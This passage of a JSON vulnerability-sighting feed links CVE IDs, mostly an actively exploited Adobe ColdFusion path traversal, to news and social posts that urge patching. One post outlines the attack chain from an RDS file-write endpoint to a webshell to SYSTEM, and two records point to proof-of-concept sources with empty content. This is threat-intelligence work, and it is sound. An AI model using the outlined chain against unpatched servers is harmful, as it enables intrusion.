"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://thehackernews.com/2026/07/cisa-adds-4-actively-exploited-adobe.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday added four security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\n\nThe vulnerabilities are listed below -\n\n\n  CVE-2026-48282 (CVSS score: 10.0) - A path traversal vulnerability in Adobe ColdFusion that could lead to arbitrary code execution in the context of the", "creation_timestamp": "2026-07-08T10:00:58.839760Z"}, {"uuid": "979d4680-f0b4-4f91-8bf1-603b6ececde7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mq4vt3qi3s2f", "content": "\ud83e\udd16 CISA adds CVE-2026-48282 (CVSS 10.0) to KEV: actively exploited path traversal in Adobe ColdFusion leading to RCE. Federal agencies ordered to patch by Friday.\n\nhttps://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-max-severity-coldfusion-flaw-by-friday/", "creation_timestamp": "2026-07-08T10:26:52.245819Z"}, {"uuid": "84e4b213-18c5-4450-8cf6-9437db188788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mq4w4t2aap2b", "content": "CISA warns of active exploitation of Adobe ColdFusion CVE-2026-48282; immediate patching is crucial. #CyberSecurity #AdobeColdFusion #CVE202648282 #PathTraversal #Vulnerability #CISA thedailytechfeed.com/cisa-alerts-...", "creation_timestamp": "2026-07-08T10:32:19.131660Z"}, {"uuid": "8acbdda9-c04f-4a1a-a590-d6d046c32de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mq4wh4m3yb22", "content": "Attackers are exploiting the critical Adobe ColdFusion vulnerability CVE-2026-48282, which allows remote code execution on unpatched servers. This path traversal issue affects ColdFusion 2025.9, 2023.20, and earlier versions.", "creation_timestamp": "2026-07-08T10:38:05.297274Z"}, {"uuid": "c057798f-22c0-4aa6-b2ce-3383737c4dc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mq4yix4s4l2s", "content": "CISA\u3001ColdFusion\u30fbLangflow\u30fbJoomla\u306e\u60aa\u7528\u4e2d\u8106\u5f31\u6027\u3078\u306e\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u8981\u8acb\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2CISA\u306f\u706b\u66dc\u65e5\u3001Adobe ColdFusion\u3001Langflow\u3001\u305d\u3057\u3066Joomla\u306e2\u3064\u306e\u62e1\u5f35\u6a5f\u80fd\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u304c\u5b9f\u969b\u306e\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u8b66\u544a\u3057\u307e\u3057\u305f\u3002 CVE-2026-48282\uff08CVSS\u30b9\u30b3\u30a210/10\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308bColdFusion\u306e\u8106\u5f31\u6027\u306f\u3001Adobe\u304c6\u67083...", "creation_timestamp": "2026-07-08T11:14:52.997796Z"}, {"uuid": "29c395ee-83ff-4c5e-b272-07a226775987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mq532ang7m2p", "content": "CISA added 4 more actively exploited flaws to KEV, including Adobe ColdFusion (CVE-2026-48282). Defenders: prioritize patching and confirm systems aren\u2019t exposed. #Cybersecurity #Vulnerability #ThreatIntel\n\nSource: https://thehackernews.com/2026/07/cisa-adds-4-actively-exploited-adobe.html", "creation_timestamp": "2026-07-08T12:00:21.359257Z"}, {"uuid": "05389b51-4e99-46ee-a922-793fc72a16d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116884244173717703", "content": "CRITICAL vulnerabilities in Adobe ColdFusion (CVE-2026-48282), Langflow (CVE-2026-55255), Joomla SP Page Builder (CVE-2026-48908), & Page Builder CK (CVE-2026-56290) are being actively exploited for remote code execution & backdoors. Patch ASAP! https://radar.offseq.com/threat/cisa-urges-immediate-patching-of-exploited-coldfus-c7b23bd787139571 #OffSeq #CyberSec #CVE", "creation_timestamp": "2026-07-08T12:00:27.386203Z"}, {"uuid": "5b541de7-6bc0-419a-836a-fb03edcc0e7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116884244173717703", "content": "CRITICAL vulnerabilities in Adobe ColdFusion (CVE-2026-48282), Langflow (CVE-2026-55255), Joomla SP Page Builder (CVE-2026-48908), & Page Builder CK (CVE-2026-56290) are being actively exploited for remote code execution & backdoors. Patch ASAP! https://radar.offseq.com/threat/cisa-urges-immediate-patching-of-exploited-coldfus-c7b23bd787139571 #OffSeq #CyberSec #CVE", "creation_timestamp": "2026-07-08T12:00:27.498331Z"}, {"uuid": "714d6ad5-036d-4885-a838-cd38988c52a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48947", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.687879Z"}, {"uuid": "8f28da74-e559-47e8-bd7a-8ddaf1fb3a53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48948", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.732001Z"}, {"uuid": "320c2e9b-94eb-4f15-a479-ce0171fa7b56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48949", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.779350Z"}, {"uuid": "791ad217-2e8b-409f-80fc-3c7abab2adfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48950", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.836923Z"}, {"uuid": "8dad7e73-3a6e-4958-b75e-1ddb6d13a977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48951", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.880153Z"}, {"uuid": "0613cbc3-d103-49b4-a159-b064d76ab4af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48952", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.921332Z"}, {"uuid": "876e20e5-0897-4453-b3ca-8653d4207daf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48953", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:07.963598Z"}, {"uuid": "66373f02-9af8-42f5-b646-3741d11d21e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48954", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:08.004610Z"}, {"uuid": "79f1280d-979f-40db-a8b7-2703c5540503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48955", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:08.048085Z"}, {"uuid": "25176065-9005-4587-a10c-7881d4463dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48956", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:08.093978Z"}, {"uuid": "cf2969f9-6cf4-46af-aeeb-3e7b49a88ef1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48957", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:08.139437Z"}, {"uuid": "d5835c73-b10b-4e5c-9795-8ab86ba58475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48958", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq5claiknt2n", "content": "\ud83d\udd17 CVE : CVE-2026-48947, CVE-2026-48948, CVE-2026-48949, CVE-2026-48950, CVE-2026-48951, CVE-2026-48952, CVE-2026-48953, CVE-2026-48954, CVE-2026-48955, CVE-2026-48956, CVE-2026-48957, CVE-2026-48958", "creation_timestamp": "2026-07-08T14:15:08.175466Z"}, {"uuid": "341b6b29-a358-4f00-a166-295b09682308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116884922446695852", "content": "\ud83d\udcf0 Patch Now: Critical Adobe ColdFusion RCE Flaw (CVE-2026-48282) Under Active Exploitation\n\ud83d\udea8 CRITICAL FLAW: Adobe ColdFusion vulnerability (CVE-2026-48282) with a 9.8 CVSS score is being actively exploited. Unauthenticated RCE allows full server takeover. Patch immediately! #Adobe #ColdFusion #CyberSecurity #RCE\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/critical-adobe-coldfusion-flaw-actively-exploited-in-the-wild/?utm_source=mastodon&utm_mediu\u2026", "creation_timestamp": "2026-07-08T14:52:57.375272Z"}, {"uuid": "8aa6b29b-b8d3-456c-b319-c522adbd15af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mq5eq6aadn2v", "content": "\ud83d\udea8 CRITICAL FLAW: Adobe ColdFusion vulnerability (CVE-2026-48282) with a 9.8 CVSS score is being actively exploited. Unauthenticated RCE allows full server takeover. Patch immediately! #Adobe #ColdFusion #CyberSecurity #RCE\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-07-08T14:53:40.108510Z"}, {"uuid": "d849a5e1-4fbe-42c6-82d8-3d5898de769a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mq5fte3nkc2m", "content": "Rapid reaction gets you ahead. 7 days before CISA added CVE-2026-48282 Remote Code Execution in Adobe ColdFusion to KEV, watchTowr clients were aware of their exposure.\n\nReach out via our website if you need support.\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2074871089654620169)", "creation_timestamp": "2026-07-08T15:13:21.917911Z"}, {"uuid": "cd3453f1-2004-4a32-877d-368d422616b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48381", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ldzcdyflfkli", "content": "CVE-2026-48381 - Adobe Campaign Classic (ACC) | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89)\nCVE ID : CVE-2026-48381\n \n Published : Aug. 11, 2026, 5:46 p.m. | 14\u00a0minutes ago\n \n Description : Adobe Campaign Classic (ACC) is affec...", "creation_timestamp": "2026-08-11T18:25:24.734394Z"}, {"uuid": "443aba7b-dc80-4000-ac5f-4c81d65b7dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48413", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/azxm4tb6yi3cs", "content": "CVE-2026-48413 - Adobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)\nCVE ID : CVE-2026-48413\n \n Published : Aug. 11, 2026, 5:52 p.m. | 8\u00a0minutes ago\n \n Description : Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by...", "creation_timestamp": "2026-08-11T18:36:25.686603Z"}, {"uuid": "e1595cca-8838-49d0-a044-70ebdd39110a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48282", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mq6nvmqbdq2d", "content": "\ud83d\udcf0 CISA Perintahkan Instansi Pemerintah AS Segera Patch Celah Kritis Adobe ColdFusion yang Sedang Dieksploitasi\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/09/cisa-perintahkan-patch-cve-2026-48282-adobe-coldfusion/\n\n#adobe #adobeColdfusion #cisa #coldfusion #cve #cve-2026-482", "creation_timestamp": "2026-07-09T03:10:26.852222Z"}, {"uuid": "651428bb-a25c-4350-a237-0c7233f4395a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mq6pe244zn2d", "content": "CVE-2026-48203: \u0423\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\n\n\n\nhttps://kripta.biz/posts/03102D75-D87C-4F83-AAEA-EBB1E9C75BC8", "creation_timestamp": "2026-07-09T03:36:23.994931Z"}, {"uuid": "1928f95c-21a5-4088-8049-31a48c432320", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mq6peorkp62a", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48204 \u0432 Apache Camel: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6F91E94E-C46E-4DF0-A061-5228A177042B", "creation_timestamp": "2026-07-09T03:36:45.883207Z"}, {"uuid": "299b7817-0568-4ba1-8d1e-eb34177020c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mq6r5jak2l2p", "content": "~Akamai~\nUnauthenticated path traversal in ColdFusion RDS FILEIO handler enables arbitrary file read/write and RCE; patch via APSB26-68.\n-\nIOCs: CVE-2026-48282\n-\n#CVE202648282 #ColdFusion #PathTraversal #ThreatIntel", "creation_timestamp": "2026-07-09T04:08:33.270803Z"}, {"uuid": "eae6f90d-c3aa-4583-9614-dcbc0dbf9531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48204", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq6sqmddak2g", "content": "\ud83d\udccc CVE-2026-48204 - Improper Input Validation, Improper Access Control vulnerability in Apache Camel in Camel Mongodb Gridfs component.\n\nThe camel-mongodb-gridfs producer... https://www.cyberhub.blog/cves/CVE-2026-48204", "creation_timestamp": "2026-07-09T04:37:07.617808Z"}, {"uuid": "b3aa6b51-861b-4553-866f-7b816e6abd4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "published-proof-of-concept", "source": "Telegram/SAqdp9bHH88ksxYx8tSwP5q461mBwCPpE6VU5oVsthx6anc", "content": "", "creation_timestamp": "2026-08-16T00:00:21.528689Z"}, {"uuid": "fa6fcd47-a997-4807-8f9d-cbffb831f6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48203", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq74shhd2c2k", "content": "\ud83d\udccc CVE-2026-48203 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), Improper Input Validation, Server-Side Request For... https://www.cyberhub.blog/cves/CVE-2026-48203", "creation_timestamp": "2026-07-09T07:37:06.924484Z"}, {"uuid": "8c167292-dea6-4052-ba2b-a10b38b82eb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/9qYdJNeZ50siptVHrqc-g91N4K0CPGozDwGl0Etd8sr4-fM", "content": "", "creation_timestamp": "2026-08-16T00:00:22.029567Z"}, {"uuid": "bd0541ef-35ff-4fcd-87b1-ff453a05920b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq76i42nok26", "content": "\ud83d\udccc CVE-2026-48205 - Improper Input Validation, Server-Side Request Forgery (SSRF) vulnerability in Apache Camel DNS component.\n\nThe camel-dns producers read DNS operation... https://www.cyberhub.blog/cves/CVE-2026-48205", "creation_timestamp": "2026-07-09T08:07:07.290405Z"}, {"uuid": "db415bee-9b75-4cb6-8124-4f3e15bfcf36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mq7i5fnir52n", "content": "Adobe ColdFusion CVE-2026-48282 (CVSS 10.0): unauthenticated RCE via RDS path traversal, exploited within 2 HOURS of disclosure. CISA KEV deadline July 10. Check if RDS is enabled on your servers.\n\n\ud83c\uddec\ud83c\udde7 zurl.co/GeXHi \n\ud83c\udde9\ud83c\uddea zurl.co/KB5pM \n\n#CyberSecurity #CISA", "creation_timestamp": "2026-07-09T11:00:05.757181Z"}, {"uuid": "826820be-988d-4b9c-ae49-dcc895232519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sen-perimetered.bsky.social/post/3mq7p3wrm6f2j", "content": "CVE-2026-48282. Adobe ColdFusion. CVSS 10.0. KEV-listed July 8.\n\nExploitation started under 2 hours after public details dropped \u2014 before Adobe's own \"patch within 72hrs\" guidance meant anything.\n\nVector: RDS FILEIO endpoint \u2192 unauthenticated file write \u2192 webshell \u2192 SYSTEM.\nPrecondition: RDS enable\u2026", "creation_timestamp": "2026-07-09T13:04:32.057580Z"}, {"uuid": "b23d336c-e6fc-4709-8661-7a363032c9f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mq7sjkxaxo2o", "content": "\ud83d\udd34 Joomla hit by two KEV flaws: CVE-2026-48908 (zero-day PHP upload + rogue Super User via com_sppagebuilder) & CVE-2026-56290 / Page Builder CK (CVSS 10.0, unauth upload \u2192 RCE). Source: The Hacker News", "creation_timestamp": "2026-07-09T14:05:50.687122Z"}, {"uuid": "48b742f7-af93-4363-800d-3af103e708b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5gxk2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:30.554199Z"}, {"uuid": "2a5f302f-4c92-4782-ab25-70f0fa972a5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5ork2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:31.008122Z"}, {"uuid": "a9ad249c-ee9c-4e3f-8ec8-845d07c9364d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5pqs2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:31.457676Z"}, {"uuid": "cee91f5d-70a1-40c0-9df7-a3aa7efefb93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5qq22h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:31.925318Z"}, {"uuid": "da0c4bd7-49db-45f9-896c-670a85b7b073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5rpc2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:32.363991Z"}, {"uuid": "339757ba-35db-4397-9030-5b87545c899c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5rpd2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after disclosure. CISA gave US agencies until Friday to patch. (via BleepingComputer)", "creation_timestamp": "2026-07-09T14:29:32.805937Z"}, {"uuid": "5a35e604-6e45-48d2-9836-c28147514dee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mq7ttv5sol2h", "content": "4/ Urgent: a max-severity Adobe ColdFusion bug (CVE-2026-48282) was exploited just 2 hours after 